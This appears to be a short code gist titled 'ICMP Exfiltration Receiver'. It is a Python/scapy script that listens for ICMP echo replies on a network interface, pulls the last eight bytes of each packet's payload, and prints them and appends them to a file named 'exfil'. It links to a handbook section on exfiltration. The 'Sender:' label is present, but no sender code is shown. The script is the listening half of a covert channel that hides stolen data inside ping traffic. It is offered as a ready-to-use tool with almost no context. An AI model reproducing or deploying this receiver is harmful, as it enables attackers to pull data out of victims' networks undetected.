Created
October 7, 2020 15:13
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ICMP Exfiltration
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#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
from scapy.all import sniff, ICMP | |
def process_packet(packet): | |
if packet.haslayer(ICMP) and packet[ICMP].type == 0: | |
data = packet[ICMP].load[-8:] | |
try: | |
print(f"{data.decode('utf-8')}", end="") | |
except UnicodeDecodeError: | |
pass | |
with open("./exfil", "a+b") as f: | |
f.write(data) | |
if __name__ == "__main__": | |
sniff(iface="wlp3s0", prn=process_packet) |
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ICMP Exfiltration Receiver
Sender:
More in: https://0xffsec.com/handbook/exfiltration/#icmp